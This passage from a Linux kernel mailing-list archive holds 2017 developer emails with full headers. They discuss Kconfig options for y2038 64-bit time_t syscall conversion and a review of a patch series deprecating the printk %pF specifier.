> 4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.
>
> * Changes since v1:
>  * Introduce CONFIG_32BIT_TIME
>  * Fixed zeroing out of higher order bits of tv_nsec
>  * Included Arnd's changes to fix up use of compat headers

Very nice. I think it would be good to get this into linux-next soon so we
can build on top of this. I have submitted most other y2038 patches today
that don't depend on either this or one of my other patches.

There is one patch that I want to do but haven't imlpemented yet, to merge
get_timespec64() and compat_get_timespec() into one function that
take a bunch of flags (check nanosecond, nano/microsecond,
zero upper half of nanoseconds, 32-bit or 64-bit wide), since I found
a few functions that need more than one of these, and they don't
all need the same combinations. My patch will certainly conflict
with yours, as your touch the same functions, but that's fine.

If you end up doing another version of the series though, it might
be better to move the compat accessors into kernel/time/time.c
along with the native functions, that should make it easier to
consolidate them later.

> I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
> legacy time syscalls such as sys_nanosleep because this will need to
> enclose compat_sys_nanosleep as well. So, defining it as
>
> config LEGACY_TIME_SYSCALLS
>      def_bool 64BIT || !64BIT_TIME
>
> will not include compat_sys_nanosleep. We will instead need a new config to
> exclusively mark legacy syscalls.

Do you mean we would need to do this separately for native and compat
syscalls, and have yet another option, like LEGACY_TIME_SYSCALLS
and LEGACY_TIME_COMPAT_SYSCALLS, to cover all cases? I would
think that CONFIG_COMPAT_32BIT_TIME handles all the compat versions,
while CONFIG_LEGACY_TIME_SYSCALLS handles all the native ones.

       Arnd


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Mon, 27 Nov 2017 14:29:59 -0800
Lines: 46
Approved: news@gmane.org
Message-ID: <CABeXuvrBOSVTNSbEZZMKmuTgWeU_VDqjSZkwGAM+bnPh0-72zA@mail.gmail.com>
References: <20171127193037.8711-1-deepa.kernel@gmail.com> <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1511821810 6626 195.159.176.226 (27 Nov 2017 22:30:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 22:30:10 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Nov 27 23:30:02 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eJRuX-0007aB-57
	for glka-linux-arch@m.gmane.org; Mon, 27 Nov 2017 23:29:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752177AbdK0WaD (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 27 Nov 2017 17:30:03 -0500
Original-Received: from mail-it0-f66.google.com ([209.85.214.66]:36780 "EHLO
        mail-it0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752091AbdK0WaB (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Mon, 27 Nov 2017 17:30:01 -0500
Original-Received: by mail-it0-f66.google.com with SMTP id y71so11525650ita.1;
        Mon, 27 Nov 2017 14:30:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=jy+lcuRwNI2bAKCSVe0lxonNzdlf+H33DAqCOHP+mFQ=;
        b=L4DID3gBL0WwXehcziM36ClOfDdBOsb9JUqLaHoVXlukY2rRZ7o7rQt4VjhDXUW8gN
         eVgKPPmV/nbOyizWcwRrsTDD5WdAl/9MndBi3ES/1ZkqoxjsZ2qTHOz/iSW1Ei0OVlkB
         Sr8wxorNuBiday5c3Ar+dpf2y1dDoyOeM7XJJPBOEBlieWckmTRtl1pMvW7VFMLTQb2q
         MpImX8jESoynD6WA0uB56z8ZHQHUhSbPjdqalN9/90N7Fg38fqDl1+KoMT/RaPeMymz1
         +f7ZqzNRkwqEYjoCqxSlCR+Umvixuu0//eXZNWG3q+XtkyE3g9qHzokVXjElb4/WX0tO
         a7Ig==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=jy+lcuRwNI2bAKCSVe0lxonNzdlf+H33DAqCOHP+mFQ=;
        b=Ngaf8blMp2CfCkRR7mRYbEQQm3d/rQ7tCoS0sjWfpJN+ZeECoCXzXXE2sdHgaTrdvY
         l7IUeHIDr/n+q/wpa6g40McAMl/si92uSSSavxYDioVUPrGDueUoNkML5u80qg0xprO+
         OmlZOl1+SJYDCFkFkORiEdILCun+k2ghntRWTLznwarIXgWrbNfqj4zvBJBxdL1hQNKn
         Q14MIcu7Yp4BiK61Jo9Kjk+Wb/iYsxdRCwmxxMM2hs+fmVniN+bK7G25XlckOpNuuEZX
         ickSzjOvw8AU+8hhBe4yBEsuVyjoGib+A20WgGey92N7SJdvm+djXPiuTAf2d4A2pXk2
         CQHg==
X-Gm-Message-State: AJaThX4ogtAYy4rTXujSsWi0IrSwCl18pewAPE/ZcB3IKzf9zNvxaaTn
        FKIKcIXZSb6lMMF0o7+3ZUqh1i5h3AlVcgR+GsM=
X-Google-Smtp-Source: AGs4zMYZC40yPY78vKiQ47ujBbYaHqvgHQSi7STrtqewkxZW/sLpSyK4yrs2Gh5qeZcGYEcGrW503vGqzVyHxFsRgOA=
X-Received: by 10.36.160.201 with SMTP id o192mr28725915ite.58.1511821800260;
 Mon, 27 Nov 2017 14:30:00 -0800 (PST)
Original-Received: by 10.107.31.205 with HTTP; Mon, 27 Nov 2017 14:29:59 -0800 (PST)
In-Reply-To: <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40306 gmane.linux.kernel:2626502 gmane.linux.kernel.year-2038:2369 gmane.linux.kernel.api:25994 gmane.linux.ports.mips.general:62338 gmane.linux.ports.parisc:28018 gmane.linux.ports.ppc64.devel:150608 gmane.linux.oprofile:13117 gmane.linux.ports.sparc:26925
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40306>

>> I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
>> legacy time syscalls such as sys_nanosleep because this will need to
>> enclose compat_sys_nanosleep as well. So, defining it as
>>
>> config LEGACY_TIME_SYSCALLS
>>      def_bool 64BIT || !64BIT_TIME
>>
>> will not include compat_sys_nanosleep. We will instead need a new config to
>> exclusively mark legacy syscalls.
>
> Do you mean we would need to do this separately for native and compat
> syscalls, and have yet another option, like LEGACY_TIME_SYSCALLS
> and LEGACY_TIME_COMPAT_SYSCALLS, to cover all cases? I would
> think that CONFIG_COMPAT_32BIT_TIME handles all the compat versions,
> while CONFIG_LEGACY_TIME_SYSCALLS handles all the native ones.

I meant sys_nanosleep would be covered by LEGACY_TIME_SYSCALLS, but
compat_sys_nanosleep would be covered by CONFIG_COMPAT_32BIT_TIME
along with other compat syscalls.
So, if we define the LEGACY_TIME_SYSCALLS as


        "This controls the compilation of the following system calls:
        time, stime, gettimeofday, settimeofday, adjtimex, nanosleep,
alarm, getitimer,
        setitimer, select, utime, utimes, futimesat, and
{old,new}{l,f,}stat{,64}.
        These all pass 32-bit time_t arguments on 32-bit architectures and
        are replaced by other interfaces (e.g. posix timers and clocks, statx).
        C libraries implementing 64-bit time_t in 32-bit architectures have to
        implement the handles by wrapping around the newer interfaces.
        New architectures should not explicitly enable this."

This would not be really true as compat interfaces have nothing to do
with this config.

I was proposing that we could have LEGACY_TIME_SYSCALLS config, but
then have all these "deprecated" syscalls be enclosed within this,
compat or not.
This will also mean that we will have to come up representing these
syscalls in the syscall header files.
This can be a separate patch and this series can be merged as is if
everyone agrees.

-Deepa


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile
Subject: Re: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Tue, 28 Nov 2017 15:17:26 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <CAK8P3a26g74UA5J5uQLwdjK3hq+htzjrdTYRKqfy_MawY7st+g@mail.gmail.com>
References: <20171127193037.8711-1-deepa.kernel@gmail.com> <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
 <CABeXuvrBOSVTNSbEZZMKmuTgWeU_VDqjSZkwGAM+bnPh0-72zA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1511878662 9820 195.159.176.226 (28 Nov 2017 14:17:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Nov 2017 14:17:42 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Nov 28 15:17:28 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eJghS-00017F-E0
	for lnx-sparclinux@m.gmane.org; Tue, 28 Nov 2017 15:17:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752303AbdK1ORd (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Tue, 28 Nov 2017 09:17:33 -0500
Original-Received: from mail-ot0-f194.google.com ([74.125.82.194]:45877 "EHLO
        mail-ot0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752259AbdK1OR2 (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Tue, 28 Nov 2017 09:17:28 -0500
Original-Received: by mail-ot0-f194.google.com with SMTP id u10so397045otc.12;
        Tue, 28 Nov 2017 06:17:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=ZQEoUSgcTqv3amyzAYIsAMrVjGnnTfuiPj74CoMzZWY=;
        b=TjcAJru/ImpTaoWIB3elS8EWFRhWRK+keyFmS1GRTiSGuAVXg4A/Lglp+cb3yNOhNQ
         ufwq0LdVpja/hRWjL92D54/rMtfmJ32v/wppnXkfEVWpyZCJt18r/JYPg8YABKXduP0a
         hQfcyPM1o9Hkdmck7b1ocjDehYniL2ID1c/wDrdobWHvSRF//UU5Dw9MuFGntFue4vJq
         urmDf+bMzhNfY6QtlHPTVmu8D6H60k4WdqEGkbIZJPCPVIlpLUb/I5eYTNYDeHFgphBO
         hWtDFn/EsufIb5wjoAkeUzOo0jbRDQws5oCjOWaevcbAy3zkKQoXKE4N9O9RpbT39WrZ
         Ug5w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=ZQEoUSgcTqv3amyzAYIsAMrVjGnnTfuiPj74CoMzZWY=;
        b=RgPMsmlH1fc4+MsZ79deHTYdpN3IyJZ5ACQBROp8lzgCZEN25UpSia5JeTPHRJQpFv
         j5FIXA8t+qS5YM5y5d+vNfne8h5wzdAGIqiQjosHTZ51cnbS3y5FaAVkORS1275wpP+d
         nwGZL6a0SLrA/ZX4YLqMwPBzoxgCihlSCaE9uwIEduQuIRJeysMLw9hRYi9kFiarHOWv
         lxuo2I9PAkE3tdqqBxc7buJjJQqUJ+2QEoN1htdi0GrJ9lPtfqjQ40yvc484SAi4GWdk
         wGR5XpxY4RY9QayRLtGGvBNCG41UyRgYoi4hdTBEF7B8+uwt/g0yNI441sfjshm7nop5
         +GYw==
X-Gm-Message-State: AJaThX6qVVtcZ8iOgGOrXKweD+INtpm00WXDL3rVFuQQbNeZVhTfsujF
        u9u6xGOiSkccs/4bIfFWSU+cH2SnyNwRw4xK8LuhbYdc
X-Google-Smtp-Source: AGs4zMY0NLif33JZqn6sBVRHZs9m+L+9co6gESZ3iAd+RBsavVFM4SmhYFgBIXHdZc9KttSk8hko4AwwifZxhKB75ko=
X-Received: by 10.157.12.147 with SMTP id b19mr28847317otb.229.1511878647152;
 Tue, 28 Nov 2017 06:17:27 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Tue, 28 Nov 2017 06:17:26 -0800 (PST)
In-Reply-To: <CABeXuvrBOSVTNSbEZZMKmuTgWeU_VDqjSZkwGAM+bnPh0-72zA@mail.gmail.com>
X-Google-Sender-Auth: YTQssOFLbGYl6XsKlDtwYxD9NFk
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26926 gmane.linux.kernel:2627679 gmane.linux.kernel.year-2038:2377 gmane.linux.kernel.api:26007 gmane.linux.kernel.cross-arch:40322 gmane.linux.ports.mips.general:62362 gmane.linux.ports.parisc:28019 gmane.linux.ports.ppc64.devel:150624 gmane.linux.oprofile:13118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26926>

On Mon, Nov 27, 2017 at 11:29 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>>> I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
>>> legacy time syscalls such as sys_nanosleep because this will need to
>>> enclose compat_sys_nanosleep as well. So, defining it as
>>>
>>> config LEGACY_TIME_SYSCALLS
>>>      def_bool 64BIT || !64BIT_TIME
>>>
>>> will not include compat_sys_nanosleep. We will instead need a new config to
>>> exclusively mark legacy syscalls.
>>
>> Do you mean we would need to do this separately for native and compat
>> syscalls, and have yet another option, like LEGACY_TIME_SYSCALLS
>> and LEGACY_TIME_COMPAT_SYSCALLS, to cover all cases? I would
>> think that CONFIG_COMPAT_32BIT_TIME handles all the compat versions,
>> while CONFIG_LEGACY_TIME_SYSCALLS handles all the native ones.
>
> I meant sys_nanosleep would be covered by LEGACY_TIME_SYSCALLS, but
> compat_sys_nanosleep would be covered by CONFIG_COMPAT_32BIT_TIME
> along with other compat syscalls.
> So, if we define the LEGACY_TIME_SYSCALLS as
>
>
>         "This controls the compilation of the following system calls:
>         time, stime, gettimeofday, settimeofday, adjtimex, nanosleep,
> alarm, getitimer,
>         setitimer, select, utime, utimes, futimesat, and
> {old,new}{l,f,}stat{,64}.
>         These all pass 32-bit time_t arguments on 32-bit architectures and
>         are replaced by other interfaces (e.g. posix timers and clocks, statx).
>         C libraries implementing 64-bit time_t in 32-bit architectures have to
>         implement the handles by wrapping around the newer interfaces.
>         New architectures should not explicitly enable this."
>
> This would not be really true as compat interfaces have nothing to do
> with this config.
>
> I was proposing that we could have LEGACY_TIME_SYSCALLS config, but
> then have all these "deprecated" syscalls be enclosed within this,
> compat or not.
> This will also mean that we will have to come up representing these
> syscalls in the syscall header files.
> This can be a separate patch and this series can be merged as is if
> everyone agrees.

I think doing this separately  would be good, I don't see any interdependency
with the other patches, we just need to decide what we want in the long
run.

I agree my text that you cited doesn't capture the situation correctly,
as this is really about the obsolete system calls that take 64-bit time_t
arguments on architectures that are converted to allow 64-bit time_t
for non-obsolete system calls.

Maybe it's better to just reword this to

      "This controls the compilation of the following system calls:
      time, stime, gettimeofday, settimeofday, adjtimex, nanosleep,
alarm, getitimer,
      setitimer, select, utime, utimes, futimesat, and {old,new}{l,f,}stat{,64}.
      These are all replaced by other interfaces (e.g. posix timers and clocks,
      statx) on architectures that got converted from 32-bit time_t to
64-bit time_t.
      C libraries implementing 64-bit time_t in 32-bit architectures have to
      implement the handles by wrapping around the newer interfaces.
      New architectures should not explicitly enable this."

That would clarify that it's not about the compat system calls, while
also allowing the two options to be set independently.

        Arnd
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Tue, 28 Nov 2017 16:44:57 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20171128154457.fa44duhcjiux2wbh@pathway.suse.cz>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
 <20171110180931.xhhi35osclzceba2@agluck-desk>
 <20171111044932.GB596@tigerII.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1511883911 26344 195.159.176.226 (28 Nov 2017 15:45:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Nov 2017 15:45:11 +0000 (UTC)
User-Agent: NeoMutt/20170421 (1.8.2)
Cc: "Luck, Tony" <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 28 16:45:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eJi46-0004jl-Au
	for glpp-linux-parisc@m.gmane.org; Tue, 28 Nov 2017 16:44:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752896AbdK1PpB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 28 Nov 2017 10:45:01 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:41434 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751878AbdK1PpA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 28 Nov 2017 10:45:00 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id A9F39AE71;
        Tue, 28 Nov 2017 15:44:58 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171111044932.GB596@tigerII.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28020 gmane.linux.ports.ia64:28319 gmane.linux.ports.ppc64.devel:150626 gmane.linux.kernel:2627816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28020>

On Sat 2017-11-11 13:49:32, Sergey Senozhatsky wrote:
> On (11/10/17 10:09), Luck, Tony wrote:
> > On Fri, Nov 10, 2017 at 08:48:29AM +0900, Sergey Senozhatsky wrote:
> > > -Examples::
> > > -
> > > -	printk("Going to call: %pF\n", gettimeofday);
> > > -	printk("Going to call: %pF\n", p->func);
> > > -	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
> > > -	printk("%s: called from %pS\n", __func__,
> > > -				(void *)__builtin_return_address(0));
> > > -	printk("Faulted at %pS\n", (void *)regs->ip);
> > > -	printk(" %s%pB\n", (reliable ? "" : "? "), (void *)*stack);
> > 
> > Did you mean to delete the Examples completely?  Wouldn't it
> > be better to just update (s/%pF/%pS/g)?
> 
> good question. yes, I think I did it deliberately :) we still
> kinda have some sort of "examples", right at the beginning of
> section "Symbols/Function Pointers"

These extra examples were added just recently (v4.14-rc1)
by the commit fd46cd55fbc5a8e8c ("printk-formats.txt: Add examples
for %pF and %pS usage"). They were supposed to help using
%pF and %pS correctly according to the situation. But we
have a better solution now. %pF is obsoleted by this
patchset.

IMHO, it is perfectly fine to remove the extra examples.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Tue, 28 Nov 2017 16:47:10 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20171128154710.ytqixlioc3hrcbl3@pathway.suse.cz>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1511884047 26975 195.159.176.226 (28 Nov 2017 15:47:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Nov 2017 15:47:27 +0000 (UTC)
User-Agent: NeoMutt/20170421 (1.8.2)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Nov 28 16:47:20 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eJi6P-0005zV-IT
	for glpi-linux-ia64-2@m.gmane.org; Tue, 28 Nov 2017 16:47:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753899AbdK1PrP (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 28 Nov 2017 10:47:15 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:41568 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752115AbdK1PrM (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Tue, 28 Nov 2017 10:47:12 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 22A3CAE71;
        Tue, 28 Nov 2017 15:47:11 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28320 gmane.linux.ports.parisc:28021 gmane.linux.ports.ppc64.devel:150627 gmane.linux.kernel:2627820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28320>

On Fri 2017-11-10 08:48:24, Sergey Senozhatsky wrote:
> 	Hello,
> 
> 	A reworked version. There is a new dereference_symbol_descriptor()
> function now, where "the magic happens", so I don't touch kallsyms_lookup()
> and module_address_lookup() anymore.

The new version looks good to me. Thanks a lot for reworking it.
I feel much better now. For the whole series:

Reviewed-by: Petr Mladek <pmladek@suse.com>

> 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> reworked. I'm kindly asking arch-s maintainers and developers to test it
> once again. Sorry for any inconveniences and thanks for your help in
> advance.

I see that it was tested on all affected architectures. Thanks a lot
all testers.

It seems that we are ready to go. I am going to push this into
for-4.16 branch in printk.git.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Tue, 28 Nov 2017 15:17:54 -0800
Lines: 99
Approved: news@gmane.org
Message-ID: <CABeXuvrtQfSsOipGTnfmONXS45Dqxy4_T7MAcfO4VajoSycW4w@mail.gmail.com>
